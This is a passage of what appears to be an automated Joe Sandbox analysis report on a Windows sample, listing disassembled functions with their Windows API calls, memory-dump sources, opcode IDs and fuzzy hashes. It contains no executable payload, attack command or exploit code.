                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Internet$CloseConnectHandleOpen
                                                                                      • String ID:
                                                                                      • API String ID: 1463438336-0
                                                                                      • Opcode ID: 9f68157b219c7fdb4e1c57027592d6abefd6f073b3341b3ccc9a417050dd1686
                                                                                      • Instruction ID: 700b6d5d222b3d38bded0b7d4ddf3f8b9c44a9981d8b0a1a1863768f98eca0ee
                                                                                      • Opcode Fuzzy Hash: 9f68157b219c7fdb4e1c57027592d6abefd6f073b3341b3ccc9a417050dd1686
                                                                                      • Instruction Fuzzy Hash: 7021A731200A0ABBEB119F609C04F7BBBAAFF84710F10481AB71596690DB7994519B90
                                                                                      Function 005F8A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 005F8AE0
                                                                                      • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 005F8AF2
                                                                                      • accept.WSOCK32(00000000,00000000,00000000), ref: 005F8AFF
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F8B16
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLastacceptselect
                                                                                      • String ID:
                                                                                      • API String ID: 385091864-0
                                                                                      • Opcode ID: 99bf77b983227c810cf947cbf7d3dca00c598ee8cb5a8af5de5cf5752d1509f8
                                                                                      • Instruction ID: 9446c72a8105c6a2c0cef3481cfdcf5990c759fb6a4859e10368c10c89ba7dd2
                                                                                      • Opcode Fuzzy Hash: 99bf77b983227c810cf947cbf7d3dca00c598ee8cb5a8af5de5cf5752d1509f8
                                                                                      • Instruction Fuzzy Hash: 81218471A001249FC7219F69CC85AAE7FECFF49310F004169F849D7290DB7499418FA0
                                                                                      Function 00608A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetWindowLongW.USER32(?,000000EC), ref: 00608AA6
                                                                                      • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00608AC0
                                                                                      • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00608ACE
                                                                                      • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00608ADC
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Long$AttributesLayered
                                                                                      • String ID:
                                                                                      • API String ID: 2169480361-0
                                                                                      • Opcode ID: 1a221a5a4ed9ca745055b738dc7478f04e38fac1a872e11c998639f0b8f9f793
                                                                                      • Instruction ID: 3ec3e1c37108f1452c5d34f1392930aa716852b6bf55112258cae6361d7a4b24
                                                                                      • Opcode Fuzzy Hash: 1a221a5a4ed9ca745055b738dc7478f04e38fac1a872e11c998639f0b8f9f793
                                                                                      • Instruction Fuzzy Hash: 2F118131345511AFD718AB18CC09FBE7B9ABF85320F144119F966C72E2DB74AC018794
                                                                                      Function 005E0AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005E1E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,005E0ABB,?,?,?,005E187A,00000000,000000EF,00000119,?,?), ref: 005E1E77
                                                                                        • Part of subcall function 005E1E68: lstrcpyW.KERNEL32(00000000,?,?,005E0ABB,?,?,?,005E187A,00000000,000000EF,00000119,?,?,00000000), ref: 005E1E9D
                                                                                        • Part of subcall function 005E1E68: lstrcmpiW.KERNEL32(00000000,?,005E0ABB,?,?,?,005E187A,00000000,000000EF,00000119,?,?), ref: 005E1ECE
                                                                                      • lstrlenW.KERNEL32(?,00000002,?,?,?,?,005E187A,00000000,000000EF,00000119,?,?,00000000), ref: 005E0AD4
                                                                                      • lstrcpyW.KERNEL32(00000000,?,?,005E187A,00000000,000000EF,00000119,?,?,00000000), ref: 005E0AFA
                                                                                      • lstrcmpiW.KERNEL32(00000002,cdecl,?,005E187A,00000000,000000EF,00000119,?,?,00000000), ref: 005E0B2E
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: lstrcmpilstrcpylstrlen
                                                                                      • String ID: cdecl
                                                                                      • API String ID: 4031866154-3896280584
                                                                                      • Opcode ID: b632825f6a9b724707f7c19e44de07c7e4cf5a171cdc21d0d41d145af1679842
                                                                                      • Instruction ID: cc680577ec929cc68051fce5d98f46e28b8676292a511b67202a487ac0831ded
                                                                                      • Opcode Fuzzy Hash: b632825f6a9b724707f7c19e44de07c7e4cf5a171cdc21d0d41d145af1679842
                                                                                      • Instruction Fuzzy Hash: DB11D336200345AFDB29AF25DC09D7E7BADFF45314B80502AF846CB290EBB19891C7E1
                                                                                      Function 005D2F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _free.LIBCMT ref: 005D2FB5
                                                                                        • Part of subcall function 005C395C: __FF_MSGBANNER.LIBCMT ref: 005C3973
                                                                                        • Part of subcall function 005C395C: __NMSG_WRITE.LIBCMT ref: 005C397A
                                                                                        • Part of subcall function 005C395C: RtlAllocateHeap.NTDLL(00FF0000,00000000,00000001,00000001,00000000,?,?,005BF507,?,0000000E), ref: 005C399F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AllocateHeap_free
                                                                                      • String ID:
                                                                                      • API String ID: 614378929-0
                                                                                      • Opcode ID: d9f3ee20f89a6727cd82ea24c79aaeaf2f7330aacc5ea06e6a808ce17fb1e940
                                                                                      • Instruction ID: 874a4ae5505310e990f94d8aed7022d7466aa977d56bb39f06c4ed1a2be538e3
                                                                                      • Opcode Fuzzy Hash: d9f3ee20f89a6727cd82ea24c79aaeaf2f7330aacc5ea06e6a808ce17fb1e940
                                                                                      • Instruction Fuzzy Hash: 2311E732409617AFDB317BB8AC4DB6A3F98BF58360F20492BF849D6251DA30CD409A91
                                                                                      Function 005E058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 005E05AC
                                                                                      • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 005E05C7
                                                                                      • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 005E05DD
                                                                                      • FreeLibrary.KERNEL32(?), ref: 005E0632
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Type$FileFreeLibraryLoadModuleNameRegister
                                                                                      • String ID:
                                                                                      • API String ID: 3137044355-0
                                                                                      • Opcode ID: 3e89f3e4947010c5e69a81a3c91557e2a7eff3a87c6fe65dfc1a3b4e6d7329b0
                                                                                      • Instruction ID: dcd656990bf0ed922479bc6b45700b0ae675cd815d8e4c29944d6e3a0f984855
                                                                                      • Opcode Fuzzy Hash: 3e89f3e4947010c5e69a81a3c91557e2a7eff3a87c6fe65dfc1a3b4e6d7329b0
                                                                                      • Instruction Fuzzy Hash: 8E217271900659EFDB249F92DC88BDABFB8FF40700F00A869E59692090D7B0EA95DF50
                                                                                      Function 005E6713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 005E6733
                                                                                      • _memset.LIBCMT ref: 005E6754
                                                                                      • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 005E67A6
                                                                                      • CloseHandle.KERNEL32(00000000), ref: 005E67AF
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseControlCreateDeviceFileHandle_memset
                                                                                      • String ID:
                                                                                      • API String ID: 1157408455-0
                                                                                      • Opcode ID: 07a3eac652e52fe85bb3ee3fcce3998e442547f5c88144346913ae5995739fb5
                                                                                      • Instruction ID: b6a1877546f7c633dd7c46dbf9cdca30bd0e026d83ee98c2912239e2e5addb9d
                                                                                      • Opcode Fuzzy Hash: 07a3eac652e52fe85bb3ee3fcce3998e442547f5c88144346913ae5995739fb5
                                                                                      • Instruction Fuzzy Hash: CC110A71901228BAE73097A5AC4DFEBBABCEF44764F10419AF504E71C0D2704F808B64
                                                                                      Function 005DB1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005DAA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005DAA79
                                                                                        • Part of subcall function 005DAA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005DAA83
                                                                                        • Part of subcall function 005DAA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005DAA92
                                                                                        • Part of subcall function 005DAA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005DAA99
                                                                                        • Part of subcall function 005DAA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005DAAAF
                                                                                      • GetLengthSid.ADVAPI32(?,00000000,005DADE4,?,?), ref: 005DB21B
                                                                                      • GetProcessHeap.KERNEL32(00000008,00000000), ref: 005DB227
                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 005DB22E
                                                                                      • CopySid.ADVAPI32(?,00000000,?), ref: 005DB247
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
                                                                                      • String ID:
                                                                                      • API String ID: 4217664535-0
                                                                                      • Opcode ID: e03a8491434c637203ae0d34e1ab11e266feffb2c49bb8e6365b091a10c7b813
                                                                                      • Instruction ID: 499859f13837cd7a61032d41ab4b12d911df3d2184e9e3221a7ca6e144df8b74
                                                                                      • Opcode Fuzzy Hash: e03a8491434c637203ae0d34e1ab11e266feffb2c49bb8e6365b091a10c7b813
                                                                                      • Instruction Fuzzy Hash: 3811B276A00205EFEB249F58CC45EAEBBAAFF85304B15942FE54297310D7319F45CB10
                                                                                      Function 005DB478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 005DB498
                                                                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 005DB4AA
                                                                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 005DB4C0
                                                                                      • SendMessageW.USER32(?,000000C9,?,00000000), ref: 005DB4DB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID:
                                                                                      • API String ID: 3850602802-0
                                                                                      • Opcode ID: 242ec63ecef020576beb730fccc17a2244c821bd296fd2fc6cd567fa0dc4ad9b
                                                                                      • Instruction ID: 4a23fad39967ab62a04bccaac482e5b059ffb9632aab25f8004182d4ed97eb4b
                                                                                      • Opcode Fuzzy Hash: 242ec63ecef020576beb730fccc17a2244c821bd296fd2fc6cd567fa0dc4ad9b
                                                                                      • Instruction Fuzzy Hash: 5C115E7A900218FFEF21DF98C885E9DBBB5FB08700F204092E604B7290D771AE11DB94
                                                                                      Function 005BB55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 005BB5A5
                                                                                      • GetClientRect.USER32(?,?), ref: 0061E69A
                                                                                      • GetCursorPos.USER32(?), ref: 0061E6A4
                                                                                      • ScreenToClient.USER32(?,?), ref: 0061E6AF
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Client$CursorLongProcRectScreenWindow
                                                                                      • String ID:
                                                                                      • API String ID: 4127811313-0
                                                                                      • Opcode ID: 471824deab29b8421143f02fa43584be601d70cabfe6b8819593c00ac6c275d5
                                                                                      • Instruction ID: 09ac6e633ec22f43e97abc88cde547b944ea43d3f5f52cd4befab5e5a16ee818
                                                                                      • Opcode Fuzzy Hash: 471824deab29b8421143f02fa43584be601d70cabfe6b8819593c00ac6c275d5
                                                                                      • Instruction Fuzzy Hash: FC114C3150012ABFDB20DF94CC458EE7BBAFB49304F400455F941E7280D7B0BA82DBA2
                                                                                      Function 005E732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCurrentThreadId.KERNEL32 ref: 005E7352
                                                                                      • MessageBoxW.USER32(?,?,?,?), ref: 005E7385
                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 005E739B
                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 005E73A2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                      • String ID:
                                                                                      • API String ID: 2880819207-0
                                                                                      • Opcode ID: cc57dae934dd157f99bba5181b1bc70a2c2535e292560700a3af183bac9d54ed
                                                                                      • Instruction ID: df4bfa460ea1f2bcbdd3d7f7c5bd2a3be07c213ae7ebcf445d3bec3747dc32e3
                                                                                      • Opcode Fuzzy Hash: cc57dae934dd157f99bba5181b1bc70a2c2535e292560700a3af183bac9d54ed
                                                                                      • Instruction Fuzzy Hash: 84110472A04258BFD7059FA8DC09E9E7FAEAB8D311F144359F921D33A1D7B08E0087A0
                                                                                      Function 005BD17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005BD1BA
                                                                                      • GetStockObject.GDI32(00000011), ref: 005BD1CE
                                                                                      • SendMessageW.USER32(00000000,00000030,00000000), ref: 005BD1D8
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateMessageObjectSendStockWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3970641297-0
                                                                                      • Opcode ID: bb8e1f74836422ca095e05cca2e343a193541b3869e9c8de4e4f2d143bced6df
                                                                                      • Instruction ID: 94a7465f31aef303d6e07fb79a737d938c10836229089a8d34b8b002e9a1befc
                                                                                      • Opcode Fuzzy Hash: bb8e1f74836422ca095e05cca2e343a193541b3869e9c8de4e4f2d143bced6df
                                                                                      • Instruction Fuzzy Hash: 2611AD72101909BFEB124F94DC55EEABF7AFF083A4F040116FA0552060D732EC61EBA0
                                                                                      Function 005D4DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                                      • String ID:
                                                                                      • API String ID: 3016257755-0
                                                                                      • Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                                                      • Instruction ID: ddb8a3c630c7d28601e64c686ca5367eca84db0af8be569fc6cb46e0c50e07e1
                                                                                      • Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
                                                                                      • Instruction Fuzzy Hash: 39014B3200014EBBCF225E88DC458EE3F2AFB58351B588457FA1859231D336CAB1AF82
                                                                                      Function 005C7452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005C7A0D: __getptd_noexit.LIBCMT ref: 005C7A0E
                                                                                      • __lock.LIBCMT ref: 005C748F
                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 005C74AC
                                                                                      • _free.LIBCMT ref: 005C74BF
                                                                                      • InterlockedIncrement.KERNEL32(01004918), ref: 005C74D7
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
                                                                                      • String ID:
                                                                                      • API String ID: 2704283638-0
                                                                                      • Opcode ID: 09b75ba0a3e7660bd1f87270bb3af1a564897a810ba4601bcdf58258b0ee1b58
                                                                                      • Instruction ID: ad0cdbdf749680901957d3504599843e84e3d23427889eba145db43f837467dc
                                                                                      • Opcode Fuzzy Hash: 09b75ba0a3e7660bd1f87270bb3af1a564897a810ba4601bcdf58258b0ee1b58
                                                                                      • Instruction Fuzzy Hash: 1201E131905B1A9FCB25AFE4994AF5DBF60BB48711F14410DF814A3A80CB245901CFC2
                                                                                      Function 0060EA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BAF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 005BAFE3
                                                                                        • Part of subcall function 005BAF83: SelectObject.GDI32(?,00000000), ref: 005BAFF2
                                                                                        • Part of subcall function 005BAF83: BeginPath.GDI32(?), ref: 005BB009
                                                                                        • Part of subcall function 005BAF83: SelectObject.GDI32(?,00000000), ref: 005BB033
                                                                                      • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0060EA8E
                                                                                      • LineTo.GDI32(00000000,?,?), ref: 0060EA9B
                                                                                      • EndPath.GDI32(00000000), ref: 0060EAAB
                                                                                      • StrokePath.GDI32(00000000), ref: 0060EAB9
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
